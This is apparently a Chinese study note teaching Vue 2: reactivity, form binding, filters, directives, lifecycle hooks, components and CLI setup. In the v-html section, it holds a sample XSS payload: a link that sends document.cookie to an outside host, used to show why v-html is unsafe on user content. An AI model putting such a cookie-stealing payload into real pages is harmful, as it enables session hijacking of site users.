/*
const vm = new Vue({
	el: '#root',
	data: {
		object:o
	}
})
*/

数据劫持前:

image-20221026192529248

数据劫持后:

image-20221026192619020

可以看到多了红框内容,实际上就是Vue为其管理的数据添加了gettersetter,使得数据具有响应式处理,从而达到数据改变,页面改变的效果

大致步骤:
数据改变 -> 调用setter方法 -> 用到该数据的地方重新解析模板

因此,我们也得出结论:

  • 具有Vue生成的gettersetter是Vue数据响应式处理的必要条件
添加Vue的响应式处理

有些数据Vue是默认不做数据劫持处理的,也就是数据响应式处理:

  • vm._data对象中后追加的属性不做响应式处理
  • 对数组中的元素不做响应式处理(但若元素是个对象,对该对象的属性依然做响应式处理)
<body>
    <div id="root">
        <button @click="addNew">点我为data.object添加新属性</button>
    </div>
</body>
<script type="text/javascript">
    const vm = new Vue({
        el: '#root',
        data:{
            object:{
                old: 'i am old'
            },
            arr:['1','2']
        },
        methods: {
            addNew(){
                this.object.new = 'i am new'
            }
        }
    })
</script>

点击按钮后,控制台输出vm._data

image-20221026215941000

可以看到红框中的属性都没有做数据代理,也就是没有响应式处理;因此,当它们改变时,页面中与它们有关的数据并不会改变;这不是我们希望看到的,我们希望所有的数据都被Vue响应式处理,所以给出对应解决方法:

  • 对后追加的数据添加响应式处理 - 使用Vue.set() / vm.$set()方法追加新属性
  • 对数组添加响应式处理 - 使用Vue包装的几个数组方法
Vue.set() / vm.$set()方法
  • 语法:Vue.set(目标,追加属性名,追加属性值)或者vm.$set(目标,追加属性名,追加属性值)
  • 注意:参数中目标不能是Vue示例对象(vmvm._datavm.data或其他写法)!
<body>
    <div id="root">
        <button @click="addNew">点我为data.object添加新属性</button>
    </div>
</body>
<script type="text/javascript">
    const vm = new Vue({
        el: '#root',
        data:{
            object:{
                old: 'i am old'
            }
        },
        methods: {
            addNew(){
                // 这样追加是错误的!
                // this.object.new = 'i am new'
                //      ↓ this.object = vm.object = vm._data.object = this._data.object (数据代理后它们都是一样的)
                Vue.set(this.object,'new','i am new')
                // ↑ vm.$set()也可以,是另外一种形式
            }
        }
    })
</script>

结果:

image-20221026222408454

使用Vue的数组方法
  • Vue的数组方法名和ES中普通数组方法名是一样的,只是Vue对其进行了包装处理(实际上包装就是先调用原生ES对应的方法对数组进行更新,然后再重新更新模板,更新页面)
  • 方法:push(数组最后追加元素),pop(数组删除最后一个元素),shift(数组删除第一个元素),unshift(数组最前追加元素),splice(从下标x开始删除n个元素),sort(排列数组),reverse(颠倒数组)
<body>
    <div id="root">
        <button @click="push">push数组最后追加3</button>
        <button @click="pop">pop数组删除最后一个元素</button>
        <button @click="shift">shift数组删除第一个元素</button>
        <button @click="unshift">unshift数组最前追加4</button>
        <button @click="splice">splice数组删除第1个元素</button>
        <button @click="sort">sort数组从小到大排列</button>
        <button @click="reverse">reverse颠倒数组</button>
        <ul>
            <li v-for="(item,index) in arr" :key="index">
                {{item}}
            </li>
        </ul>
    </div>
</body>
<script type="text/javascript">
    const vm = new Vue({
        el: '#root',
        data: {
            arr: ['1', '2']
        },
        methods: {
            push() {
                this.arr.push('3')
            },
            pop() {
                this.arr.pop()
            },
            shift() {
                this.arr.shift()
            },
            unshift() {
                this.arr.unshift('4')
            },
            splice() {
                this.arr.splice(0, 1)
            },
            sort() {
                this.arr.sort(function (a, b) {
                    return a - b;
                })
            },
            reverse() {
                this.arr.reverse()
            }
        }
    })
</script>

测试:测试前5个按钮,一次点击,效果如下

image-20221027000313773

image-20221027000325190

image-20221027000313773

image-20221027000357010

image-20221027000413797

image-20221027000357010


总结:

  • 当Vue实例创建时,Vue会监测data中的所有层次的数据(除了数组,无论是对象的对象,还是数组中的对象,无论有几层嵌套关系,都会生成gettersetter)
  • Vue通过自动添加gettersetter对数据进行监测,若是后追加的属性,Vue提供Vue.set(vm.$set)方法给程序员手动为它们添加getterstter
  • Vue通过包装数组的七个更新方法,实现对数组的监视,本质上做了两件事:Ⅰ.调用原生的对应方法对数组进行更新 Ⅱ.重新解析模板,更新页面
  • 修改数组中的某个元素只能使用:数组的七个更新方法或者Vue提供Vue.set(vm.$set)方法

特别注意:Vue提供Vue.set(vm.$set)方法不能给vmvm的根数据对象_data添加属性!

收集表单数据

在我们写用户填写的表单时(eg:注册表单),我们常需要用到Vue一些细节特性

  • <input type="text"/>,则v-model收集的是value值

  • <input type="radio"/>,则v-model收集的是value值,且需要给标签配置value值

  • <input type="chackbox"/>

    1.没有配置input的value属性,那么收集的就是checked值(勾选 of 未勾选,是bool值)
    2.配置了input的value属性:
    	Ⅰ.v-model的初始值是非数组,那么收集的就是checked值(勾选 of 未勾选,是bool值)
    	Ⅱ.v-model的初始值是数组,那么收集的就是勾选标签对应的value值组成的数组
    
  • 备注:v-model的三个修饰符:

lazy:标签失去焦点再收集数据
number:输入字符串转为number类型
trim:过滤首尾空格

例:

<body>
    <div id="root">
            <!-- ↓ 提交表单时触发事件,调用demo方法 -->
        <form @submit.prevent="demo">     <!-- ↓ 使用trim修饰符,去除前后的空格 -->
            账号:<input type="text" v-model.trim="userInfo.account"><br><br>
            密码:<input type="password" v-model="userInfo.password"><br><br>
            年龄:<input type="number" v-model.number="userInfo.age"><br><br>
            性别:    <!-- ↑ Html5属性,只能填数字   ↑ Vue的number修饰符,Vue收到的数据改为number类型(默认收到字符串类型)  --><input type="radio" name="sex" value="male" v-model="userInfo.sex"><input type="radio"name="sex" value="female" v-model="userInfo.sex"><br><br>
            爱好:                          <!-- ↑ radio单选框指定value属性 -->
            学习<input type="checkbox" v-model="userInfo.hobby" value="learn">
            打游戏<input type="checkbox" v-model="userInfo.hobby" value="play">
            睡觉<input type="checkbox" v-model="userInfo.hobby" value="sleep"><br><br>
            所属校区                                           <!-- ↑ checkbox复选框指定value属性 -->
            <select v-model="userInfo.schoolCity"> 
                <option value="">请选择校区</option>
                <option value="sz">深圳</option>
                <option value="bj">北京</option>
                <option value="wh">武汉</option>
                <option value="sh">上海</option>
            </select><br><br>
            其他信息:    <!-- ↓ Vue的lazy修饰符,当标签失去焦点时,再更新Vue实例中的数据 -->
            <textarea v-model.lazy="userInfo.other"></textarea><br><br>
            <input type="checkbox" v-model="userInfo.agree">阅读并接受用户协议<a href="http://www.baidu.com">《用户协议》</a>
            <button>提交</button>
        </form>
    </div>
</body>
<script type="text/javascript">
    const vm = new Vue({
        el: '#root',
        data: {
           userInfo:{
            account:'',
            password:'',
            age:'',
            sex:'',
            hobby:[], // 复选框对应的Vue数据属性,若为数组类型,接收复选框中勾选的value值;若为字符串类型,接收checked是否勾选的bool值
            schoolCity:'',
            other:'',
            agree:'' // 复选框对应的Vue数据属性,若为数组类型,接收复选框中勾选的value值;若为字符串类型,接收checked是否勾选的bool值
           }
        },methods: {
            demo(){
                console.log(JSON.stringify(this.userInfo));
            }
        },
    })
</script>

测试:

image-20221027085641680

过滤器

  • 作用:对要显示的数据进行特定的格式化后再进行显示(eg:1999元 ==> 1,999元 )

  • 语法:

    //                 ↓ 全局过滤器                 ↓ 局部过滤器
    1.注册过滤器:Vuefilter(name,callback)new Vue{filters:{ name(){} }}
    2.使用过滤器:{{ xxx | 过滤器名 }} 或 v-bind:属性 = " xxx | 过滤器名 "
    
  • 过滤器并没有改变原来的数据,只是通过计算展示计算后的数据;同时过滤器可以串联,也就是{{ xxx | 过滤器1 | 过滤器2 | ... }}

局部过滤器

局部过滤器只在当前Vue实例(或者组件)中有效

例:

<body>
    <div id="root">  <!-- ↓ 管道符("|")会将前面的数据作为后面过滤器的第一个参数传给过滤器,返回过滤器的返回值 -->
        <h1>价格:{{ price |  addPriceIcon}}</h1>
        <div :class=" price | addPriceIcon ">看我的标签属性</div>
    </div>
</body>
<script type="text/javascript">
    Vue.config.productionTip = false; // 阻止vue在启动时产生生产提示
    // 创建Vue实例
    const vm = new Vue({
        el: '#root',
        data: {
            price: 1999
        },
        filters:{
            addPriceIcon(value){
                return '¥' + value;
            }
        }
    })
</script>

结果:

image-20221027105619852

过滤器串联

若多个过滤器串联:

<body>
    <div id="root">
        <h1>价格:{{ price |  addPriceIcon | addYuan}}</h1>
    </div>
</body>
<script type="text/javascript">
    Vue.config.productionTip = false; // 阻止vue在启动时产生生产提示
    // 创建Vue实例
    const vm = new Vue({
        el: '#root',
        data: {
            price: 1999
        },
        filters:{
            addPriceIcon(value){
                return '¥' + value;
            },
            addYuan(value){
                return value + "元";
            }
        }
    })
</script>

结果:

image-20221027152143200

全局过滤器

全局过滤器对所有Vue实例(或组件)都有效

例:

<body>
    <div id="root">
        <h1>价格:{{ price |  addPriceIcon }}</h1>
        <div :class=" price | addPriceIcon ">看我的标签属性</div>
    </div>
</body>
<script type="text/javascript">
    Vue.config.productionTip = false; // 阻止vue在启动时产生生产提示
    // 定义全局过滤器
    Vue.filter('addPriceIcon',(value) => {
        return '¥' + value;
    })
    // 创建Vue实例
    const vm = new Vue({
        el: '#root',
        data: {
            price: 1999
        }
    })
</script>

效果:

image-20221027105619852

(补充)在实际开发中,全局过滤器经常会被在数据(比如时间、日期的装饰)上边,通常我们会把处理函数给抽离出去,统一放在一个.js文件中,下边用代码说下

//filter.js 文件
let filter_price = function (val,...params){
    return "¥" + val
}
let filter_date = function (){
    return "2019/10/20" + val
}
export {filter_price,filter_date} //导出过滤函数

下边在main.js中 导入 上边 filter.js文件 ,当然你也可以在任何组件中导入 filter.js这个文件,但是对于全局过滤器来说,最好是在main.js中定义,规范些,导入的是一个对象,所以使用Object.keys()方法,得到一个由key组成的数组,遍历数据,让key作为全局过滤器的名字,后边的是key对应的处理函数,这样在任何一个组件中都可以使用全局过滤器了

//main.js
//下边是2种导入方式,推荐第一种
import * as _filter from './filters/filter'
// import {filter_price,filter_date} from './filters/filter'
// 定义全局过滤器
Object.keys(_filter).forEach(item=>{
  Vue.filter(item,_filter[item])
})

指令

指令用于操作标签元素,其分为内嵌指令和自定义指令;所谓内嵌指令,就是Vue自己的指令,其目的是让Vue的使用者尽可能不自己操作底层元素,而是让Vue操作;所谓自定义指令,实际上就是Vue使用者自己定义的指令,方便自己对底层标签元素的操作;

指令的两种形式:
1.有值指令: <div v-指令名="属性值" ></div>
2.无值指令: <div v-指令名 ></div>
内嵌指令
指令说明
v-bind单向数据绑定,可简写为:属性名="属性值"
v-model双向数据绑定,绑定属性名必须为value,用于表单元素,可简写为v-model="属性值"
v-for遍历数组/对象/字符串
v-on绑定监听事件,可简写为@事件触发条件="事件处理函数"
v-if条件渲染(动态控制结点是否存在)
v-else条件渲染(动态控制结点是否存在)
v-show条件渲染(动态控制结点是否展示)
v-text将属性值以文本的形式,替换标签中的内容,内容中的标签无法解析
v-html
v-cloak(无值指令)
v-once
v-pre(无值指令)
v-text / v-html 指令

v-text

  • 作用:其所在节点中渲染文本内容,内容中的标签无法解析
  • 与插值语法的区别:v-text会替换节点中所有的内容,插值语法不会
  • 附:原本节点中具有的内容会被替换

例:

<body>
    <div id="root">
        <div v-text="name">名字</div>
    </div>
</body>
<script type="text/javascript">
    Vue.config.productionTip = false; // 阻止vue在启动时产生生产提示
    // 创建Vue实例
    const vm = new Vue({
        el: '#root',
        data: {
            name:'Bokey'
        }
    })
</script>

结果:

image-20221027110152733

v-html

  • 作用:向指定的节点中渲染包含html标签的内容

  • 与插值语法的区别:Ⅰ.v-html会替换节点中所有的内容,插值语法不会 Ⅱ.可以识别html标签

  • 注意:v-html具有安全性问题

    1.在网站上动态渲染任意html是非常危险的,容易导致XSS攻击(冒充用户攻击)
    2.一定到在可信的内容上使用v-html,永远不要在用户可以提交的内容上使用!
    

例:

<body>
    <div id="root">
        <div v-html="name">HTML结构</div>
        <div v-html="str"></div>
    </div>
</body>
<script type="text/javascript">
    Vue.config.productionTip = false; // 阻止vue在启动时产生生产提示
    // 创建Vue实例
    const vm = new Vue({
        el: '#root',
        data: {
            name:'<h1>Bokey</h1>',               // ↓ 这里以百度为例子,实际攻击需要填入攻击性网站,通过携带参数document.cookie,把我们现在访问这个网站的全部cookie带给了攻击性网站
            str:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟,点我,我就能得到你的Cookie冒充你</a>'
        }
    })
</script>

结果:

image-20221027150937205

随后,创建两个Cookie:

image-20221027152613745

点击超链接:

image-20221027152739174

v-cloak指令
  • 用于配合Css解决网速慢时,页面展示出{{xxx}}的问题
  • 本质是一个特殊指令,Vue实例创建完毕并接管容器后,会将v-cloak属性从标签中删除

例:

<style>
    [v-cloak] {
        display: none;
    }
</style>
<body>
    <div id="root">
        <h2 v-cloak>{{name}}</h2>
    </div>
    <!-- 这里引入本地的Vue,所以不会出现卡顿,但实际情况中是可能出现卡顿的,注释掉下面这一行就能看到出现卡顿时页面的效果 -->
    <script type="text/javascript" src="./Vue_js/vue.js"></script>
</body>
<script type="text/javascript">
    const vm = new Vue({
        el: '#root',
        data: {
           name:'Bokey'
        }   
    })
</script>

由于无法模拟网络卡顿,这里用文本描述:

上面代码当网速较慢时,用户可能会先看到{{name}},等到Vue引入完成并解析了容器后,才能看到数据Bokey;
若不希望这样,可以添加v-cloak属性,并使用CSS对其display:none;
当Vue没完成解析容器前,h2标签不会显示;解析完容器后,v-cloak属性消失,展示数据Bokey
t-once指令
  • t-once所在的节点在初次动态渲染后,就视为静态内容,能保持数据最原本的模样
  • 以后数据的改变不会引起v-once所在节点的更新,可用于优化性能

例:

<body>
    <div id="root">
        <h2 v-once>初始化的n值是:{{n}}</h2>
        <h2>当前的n值是:{{n}}</h2>
        <button @click="n++">点我n++</button>
    </div>
   
</body>
<script type="text/javascript">
    const vm = new Vue({
        el: '#root',
        data: {
           n:1
        }   
    })
</script>

测试:

image-20221027155417107

v-pre指令
  • 跳过所在节点的Vue编译过程
  • 可利用它跳过:没有使用指令语法,没有使用插值语法的节点,加快编译

例:

<body>
    <div id="root">
        <h2 v-pre>n值:{{n}}</h2>
        <h2>n值:{{n}}</h2>
    </div>
   
</body>
<script type="text/javascript">
    const vm = new Vue({
        el: '#root',
        data: {
           n:1
        }   
    })
</script>

结果:

image-20221027155040278

自定义指令

自定义指令实际上就是为原生操作DOM的过程进行封装,方便我们以后使用

声明方式

  • 自定义局部指令:

    // 配置对象方式:
    new Vue({
    	direactives:{ /*指令名*/:/*配置对象*/ }
    })
    // 回调函数方式:
    new Vue({
        direactives:{ /*指令名*/:/*回调函数*/ }
    })
    
  • 自定义全局指令:

    // 配置对象方式:
    Vue.direactive(/*指令名*/,/*配置对象*/)
    // 回调函数方式:
    Vue.direactive(/*指令名*/,/*回调函数*/)
    

配置对象中常用的3个回调

  • bind:指令与元素成功绑定后调用(初始化)
  • inserted:指令所在元素被插入页面时调用
  • update:指令所在模板结构被重新解析时调用(更新渲染,也就是vm._data中数据有变化,无论和该指令是否有关) 注意:并不是指令所用到数据改变时!
附:
1.指令定义时不加v-,指令使用时再加v-
2.指令名若为多个单词,不能使用camelCase驼峰命名法(eg:myName),转而使用kebab-case命名法(eg:my-name)

下面我们以自定义局部指令为例,讲解配置对象方式和回调函数方式的一些差异(实际上,就是配置对象方式能处理更细微的功能;回调函数方式更简洁,但无法处理一些细节问题):

回调函数方式自定义

例1(回调函数方式定义指令):

<!-- 自定义v-big组件,功能:将属性值中的数放大10倍放在标签中 -->
<body>
    <div id="root">
        <h2>当前的n值:<span v-text="n"></span></h2>
        <h2>放大十倍后的n值:<span v-big="n"></span></h2>
        <button @click="n++">点击n++</button>
    </div>

</body>
<script type="text/javascript">
    const vm = new Vue({
        el: '#root',
        data: {
            n:1
        },
        // 自定义组件
        directives:{
            // 回调函数方式:
            //    ↓ 第一个参数是指令所在节点的真实DOM元素,也就是<span></span> 第二个参数是指令的参数,以对象的形式放在第二个参数
            big(element,binding){   
                console.log(element);
                console.log(binding); // ↓ 提取指令参数的vlue
                element.innerText = binding.value * 10
            }
        }
    })
</script>

结果:

image-20221027162312574

点击n++按钮(可以看到big函数又调用了一次)

image-20221027162528926

因此得到结论:

回调函数方式定义指令,函数触发时机:
1.指令与元素成功绑定后调用(初始化)
2.指令所在的模板被重新解析时调用(更新渲染,也就是`vm._data`中数据有变化,无论和该指令是否有关)  注意:并不是指令所用到数据改变时!

不足:

但回调函数方法不能在指令所在元素被插入页面时调用,因此,一些功能它无法实现:

<!-- 自定义v-fbind指令,功能:可以让其所绑定的input元素默认获取焦点 -->
<body>
    <div id="root">
        <input type="text" v-fbind:value="n">
        <button @click="n++">n++</button>
    </div>
</body>
<script type="text/javascript">
    const vm = new Vue({
        el: '#root',
        data: {
            n: 1
        },
        directives: {
            fbind(element, binding) {
                element.value = binding.value
                element.focus() // 聚焦
            }
        }
    })
</script>

结果:input框并没有聚焦

image-20221027164855762

点击n++按钮后,才成功聚焦

image-20221027164810804

原因:

fbind函数在下面两种情况下被调用:
1.指令与元素成功绑定后调用(初始化)
2.指令所在的模板被重新解析时调用
情况1调用时,input框没有插入页面,因此无法使用element.focus()进行聚焦(元素都还不在页面上,怎么聚焦呢?)!
点击按钮触发情况2,调用fbind,此时input框在页面上,所以成功聚焦

因此,若指令需要在所在元素被插入页面时有操作,就只能使用配置对象式定义指令

配置对象方式自定义

例2(配置对象式定义指令):

<!-- 自定义v-fbind指令,功能:可以让其所绑定的input元素默认获取焦点 -->
<body>
    <div id="root">
        <input type="text" v-fbind:value="n"/>
        <!-- 多个单词组成的指令使用  ↓ -->
        <!-- <input type="text" v-big-number:value="n"/> -->
        <button @click="n++">n++</button>
    </div>

</body>
<script type="text/javascript">
    const vm = new Vue({
        el: '#root',
        data: {
            n: 1
        },
        directives: {
            fbind: {
                // 指令与元素成功绑定后调用(初始化)
                bind(element, binding) {
                    element.innerText = binding.value
                },
                // 指令所在元素被插入页面时调用
                inserted(element, binding) {
                    element.focus() // 聚焦
                },
                // 指令所在模板结构被重新解析时调用(更新渲染,也就是`vm._data`中数据有变化,无论和该指令是否有关)  注意:并不是指令所用到数据改变时!
                update(element, binding) {
                    element.innerText = binding.value
                }
            },
            // 命名:kebab-case命名法
            'big-number':{
                // 指令设置...
            }
        }
    })
</script>

结果:成功默认聚焦(input框中的n不见了,目前不知道为什么)

image-20221027165922323


总结

注意事项:

  • 所有自定义指令相关的this指针,不是vmwindow(因为自定义指令实际上就是用户操作DOM,而不是操作Vue实例)!
  • 命名规则使用kebab-case命名法
  • 若指令需要在所在元素被插入页面时有操作,就只能使用配置对象式定义指令

Vue实例的生命周期

Vue实例从诞生到结束有着几个特殊的时间点,在这些特殊的时间点,Vue为用户提供了生命周期回调函数(生命周期钩子函数);因此,用户可以使用这些函数,在特殊的时间点做特殊的事

image-20221029103233546

将上图整理成文字:

Vue实例的生命周期:
// beforeCreate()  -- 这时候无法通过vm调用到vm._data中的数据和vm.methods中的方法(因为还没产生,但vm这时候是存在的!)
vm._data的创建(也就是数据代理,数据监测的产生)
// created()       -- 这时候vm._data产生了,可以调用vm._data和vm.methods中的方法

		 (生成虚拟DOM保存在内存中,此时页面的插值语法正展示为"{{Vue数据名称}}"的形式;下面进入第一次编译页面,生成第一次的虚拟DOM和页面挂载渲染)

// beforeMount()   -- 这时候页面呈现未经Vue编译的DOM结构,这时期所有对DOM的操作都会被Vue编译覆盖
将内存中保存的虚拟DOM挂载到页面上,此时页面的插值语法已经展示为"Vue数据值"的形式
// Mounted()       -- 重点!这时期页面呈现经过Vue编译的DOM结构,适合做初始化操作(开启定时器,发送网络请求,订阅消息,绑定自定义事件...)

		 (此时Vue实例算是真正诞生了,下面进入监听数据更新模板阶段)

// beforeUpdate()  -- 这时候数据是新数据,但还未生成虚拟DOM,也还没更新到页面上;也就是页面还没和数据同步
根据新数据,生成新的虚拟DOM,再使用Diff算法和真实DOM进行比较,最终完成页面更新;也就是Model -> view的更新
// updated()       -- 这时候数据是新数据,页面数据也更新成了新数据;也就是页面和数据同步

		 (当使用了`vm.$destroy()`方法,或者其他销毁Vue实例的方法,Vue实例进入销毁阶段)

// beforeDestroy() -- 重点!这时候Vue的所有数据和方法都还是可用状态,但马上要进入销毁过程,适合做收尾操作(关闭定时器,取消订阅消息,解绑自定义事件...)
Vue实例销毁                              // ↑ 在beforeDestroy()中操作数据不会触发更新!
// destroyed()     -- Vue实例已经被销毁 

注意:

  • 生命周期函数中的**this指向是vm或组件实例对象**
  • 生命周期函数的名字不可更改,但函数的具体内容是程序员根据需求编写的
  • Vue实例销毁后自定义事件会失效,但原生DOM事件依然有效(现在销毁组件,原生DOM也一起销毁了,浏览器开发人员工具可以看到click事件被移除了)
  • 一般不会在beforeDestroy操作数据,因为即便操作数据,也不会再触发更新流程

附:

在create和mounted钩子函数中,无法使用this.$route.path正确访问当前路径,值都为/

解决方法:

​ 使用定时器,在定时器的回调函数中使用this.$route.path,其值就是真正的当前路径

使用方法:

<body>
    <div id="root"></div>
</body>
<script type="text/javascript">
    const vm = new Vue({
        el: '#root',
        // template在容器未知插入它的内容(顶替容器!在选然后的结构中看不到div的id:root,看得到的只是template的内容)
        // template内容中必须要用标签包裹整个内容(eg:div包裹整个内容),包裹的标签不能是<template>标签
        template:`
            <div>
                <h2>n的值:{{n}}</h2>
                <button @click="update">n++</button>
                <button @click="delVue">销毁Vue实例</button>
            </div>
        `,
        data: {
            n: 1
        },
        methods: {
            update(){ // 更新函数
                console.log('n++了,页面开始更新!');
                this.n++
            }, // 销毁函数
            delVue(){
                console.log('调用dlVue函数了!Vue实例开始自杀!');
                this.$destroy()
            }
        },
        // Vue的生命周期:
        beforeCreate() {
            console.log('beforeCreate')
        },
        created() {
            console.log('created')
        },
        beforeMount() {
            console.log('beforeMount')
        },
        mounted() {
            console.log('mounted')
        },
        beforeUpdate() {
            console.log('beforeUpdate')
        },
        updated() {
            console.log('updated')
        },
        beforeDestroy() {
            console.log('beforeDestroy')
        },
        destroyed() {
            console.log('destroyed')
        },
    })
</script>

结果:

img

结构:

image-20221028111142071

Vue组件

使用Vue,就相当于使用了组件化编程,那么什么是组件化编程呢?

image-20221029105336071

但传统的编写方式依赖关系复杂,csshtmljs文件相互独立,在需要时引入;虽然也能实现代码复用,没有什么严重的问题,但有两点特别恶心人:

  • JS文件的依赖关系难以维护(这个JS使用了另一个JS中定义的数据或方法,就需要在这个JS前先引入另一个JS,JS文件依赖关系一多,就很难受)
  • CSS文件更改样式,需要考虑哪个HTML文件引用了它,它的改变会引起哪些结构变化

因此引入组件化编程,将htmlcssjs文件整合化,它们负责页面的某一块内容

image-20221106143513527

组件的定义:

  • 实现应用中局部功能代码和资源的集合

image-20221028111604480

组件分为两种:

1.非单文件组件 -> 一个文件中有多个组件,文件后缀可以是`.html`,`.js`或者其他
2.单文件组件   -> 一个文件中只有一个组件,文件后缀只能是`.vue`

非单文件组件

基本使用

Vue中使用组件的三大步骤:

  • 定义组件(创建组件)
  • 注册组件
  • 使用组件(写组件标签)
一、如何定义一个组件? // ↓ options为配置对象
	使用Vue.extend(options)创建,其中options和new Vue(options)时传入的那个options几乎一样,
	但区别如下:
		1.el属性不能写
		2.data属性必须写成函数
	备注:使用template可以配置组件结构。
二、如何注册组件?
	1.局部注册:new Vue或Vue.extend({})的时候传入components选项,局部注册的组件只有在该Vue实例或该组件中生效
	2.全局注册:靠Vue.component( '组件名',组件),全局注册的组件对所有Vue实例和组件都有效
三、编写组件标签:
	`<school></school>`
/*
附:
为什么组件不能写el?
答:组件不能指定为哪个容器服务,组件服务于注册了它的组件或者Vue实例(vm);这也是组件和Vue实例(vm)的重要区别,组件在我们后面的笔记中使用简写称为vc

为什么data必须写成函数?
答:当这个组件在两个位置被使用,其中一个组件的data数据改变了,不希望另一个位置的组件的data数据也改变;也就是当组件在两个位置被使用,希望它们使用的数据不是同一个数据,因此data属性只能使用函数,每次返回不同对象;若这里没看懂下面有例子;
*/

只能将data属性写成函数的原因:

const object_data = {
	x: 1
}
const function_data = function () {
	return {
		x: 1
	}
}
// data定义成对象
const vc1 = object_data
const vc2 = object_data
// data定义成函数
const vc3 = function_data()
const vc4 = function_data()

测试:

img

定义组件:

<body>
    <div id="root">
        <Bokey></Bokey> <!-- 挂载局部组件,直接使用组件注册名作为标签名 -->
        <test></test> <!-- 挂载全局组件,直接使用组件注册名作为标签名 -->
    </div>
</body>
<script type="text/javascript">
    // 定义组件Bokey
    const Bokey = Vue.extend({
        // 定义组件结构
        template:`
            <div>
                <h1>我是{{name}},年龄:{{age}},性别:{{sex}}</h1>      
            </div>
        `,
        // 定义数据,注意使用函数式!
        data(){
            return {
                name:'Bokey',
                age:20,
                sex:'man'
            }
        }
    })
    // 定义组件test
    const test = Vue.extend({
        template:`
            <div>
                我是全局组件!      
            </div>
        `
    })
    // 全局注册组件 ↓组件注册名 ↓组件名
    Vue.component('test',test)
    // 创建vm
    const vm = new Vue({
        el:'#root', // Vue实例(vm)才可以使用el属性
        data:{ // Vue实例(vm)才能使用对象式定义数据
            id:'Vue实例(vm)的数据...'
        },
        // 注册组件
        components:{
            Bokey // 简写形式(当注册注册名和组件名相同时可用,这是常用写法)
            // Bokey:Bokey  ← "组件注册名":"组件名"形式
        }
    })
</script>

结果:

img


几个注意点:

/*
1.关于组件名:
 一个单词组成:
	第一种写法(首字母小写):school
	第二种写法(首字母大写):School
多个单词组成:
	第一种写法(kebab-case命名):my-school
	第二种写法(CamelCase命名):MySchool(需要Vue脚手架支持)
	备注:
		(1).组件名尽可能回避HTML中已有的元素名称,例如: h2、H2都不行。
		(2).可以使用name配置项指定组件在开发者工具中呈现的名字。
2.关于组件标签:
	第一种写法:<school></school>
	第二种写法:<school/>
	备注:不用使用脚手架时,<school/>会导致后续组件不能渲染。
3.一个简写方式(重要!): 简写方式其实就是定义组件时,直接将组件定义为一个对象
	const school = Vue.extend(options)可简写为: const school = options
*/

定义组件简写方式(以上例中test组件为例):

const test = {
template: `
		<div>
			我是全局组件!      
 		</div>
	 `
}
// 使用简写属性后,若注册组件使用了该对象(test),Vue会自动帮我们调用Vue.extend(test),将它创建成组件!
组件嵌套

顾名思义,就是组件中还有组件

<body>
    <div id="root">
        <app></app>
    </div>
</body>
<script type="text/javascript">
    // 定义组件test,注意需要在父组件Bokey的上方定义
    const test = {
        template: `
            <div>
                我是全局组件!      
            </div>
        `
    }
    // 定义组件Bokey
    const Bokey = Vue.extend({
        template: `
            <div>
                <h1>我是{{name}},年龄:{{age}},性别:{{sex}}</h1>
                <test/>      
            </div>
        `,
        data() {
            return {
                name: 'Bokey',
                age: 20,
                sex: 'man'
            }
        },
        components: {
            test // 注册子组件
        }
    })
    // 定义App组件,管理所有组件
    const app = Vue.extend({
        template:`
            <div>
                <Bokey/>
            </div>
        `,
        components:{
            Bokey
        }
    })
    // 创建vm
    const vm = new Vue({
        el: '#root',
        data: {
            id: 'Vue实例(vm)的数据...'
        },
        // 注册组件
        components: {
            app
        }
    })
</script>

结果:

image-20221029090144600

Vue组件实例对象

所谓的Vue组件实例对象,在Vue源码中称为VueComponent,我习惯称它为vc

关于VueComponent:

控制台输出上例的Bokey组件变量:

image-20221029094351403

Vue.extend()的源码:

image-20221029100135335

也就是说,每次调用Vue.extend()所返回的VueComponent(组件实例对象vm)都是现场定义后返回的!即每次调用Vue.extend,返回的都是一个全新的VueComponent

/*
1.我们定义的组件(调用Vue.extend({option})后的返回值)本质是一个名为VueComponent的构造函数,且不是程序员定义的,是Vue.extend生成的
2.我们只需要写<Bokey/>或<Bokey></Bokey>,Vue解析时会帮我们创建school组件的实例对象,
	即Vue帮我们执行的: new VueComponent(options)。
3.特别注意(重要!):每次调用Vue.extend,返回的都是一个全新的VueComponent!!!!
4.关于this指向(重要!):
	(1).组件配置中:
		data函数、methods中的函数、watch中的函数、computed中的函数它们的this均是【VueComponent实例对象】
	(2).new Vue()配置中:
		data函数、methods中的函数、watch中的函数、computed中的函数它们的this均是【Vue实例对象】
5.VueComponent的实例对象,以后简称vc(也可称之为:组件实例对象)。
	Vue的实例对象,以后简称vm。
*/
重要的内置关系
  • 一个重要的内置关系:VueComponent.prototype._proto_ == Vue. prototype
  • 为什么要有这个关系:让组件实例对象(vc)可以访问到Vue原型上的属性、方法
// 注意:vc就是一个小型的vm,只是跟vm比有一定的区别,不能配置el,data不能直接写对象形式而是函数形式!

image-20221106161138362

单文件组件

由于非单文件组件中是不支持写样式的,所以我们常用的是单文件组件。

单文件组件写在.vue文件中,基本结构为:

<template>
  <!-- 组件结构 -->
</template>
<script>
export default { // 将组件暴露出去,以便接收使用
	// 组件的JS逻辑
}
</script>
<style>
	/* 组件样式 */
</style>

以上面的Bokey组件为例:

<template>
  <div class="demo">
    <h1>我是{{ name }},年龄:{{ age }},性别:{{ sex }}</h1>
  </div>
</template>

<script>
export default {
  data() {
    return {
      name: "Bokey",
      age: 20,
      sex: "man",
    };
  },
};
</script>

<style>
.demo {
    background-color: #fff;
}
</style>

但是需要注意的是,.vue文件中不允许写new Vue()方法,因为它是组件实例(vm)文件,并不是Vue实例(vm)文件;那么我们的Vue实例应该定义在哪里呢?

实际上,我们一般使用脚手架去封装Vue,为了更方便将`.vue`文件编译成浏览器识别的代码(HTML,CSS,JS);

Vue脚手架

Vue脚手架(command line interface)是Vue官方提供的标准化开发工具(开发平台),是Vue.js开发的标准工具

下载并创建项目

1.全局安装@Vue/cli,此操作只用一次,下载一次后就不用再下了,使用命令:

npm install -g @vue/cli

附:

  • 最好在安装前配置npm淘宝镜像:使用命令npm config set registry https://registry.npm.taobao.org
  • 下载过程中若卡住可以敲回车继续下载,卡死了就关闭cmd重下

image-20221029201608752

使用vue命令查看Vue脚手架的安装:

image-20221029104926985

2.在创建项目的目录下,使用命令创建项目:

vue create /* 项目名 */
// 附:下载过程中若卡住可以敲回车继续下载,卡死了就关闭`cmd`重下

随后,选择创建的脚手架的Vue版本(注意不是脚手架版本,图中脚手架版本是5.0.8)

img

成功创建:

image-20221029202416765

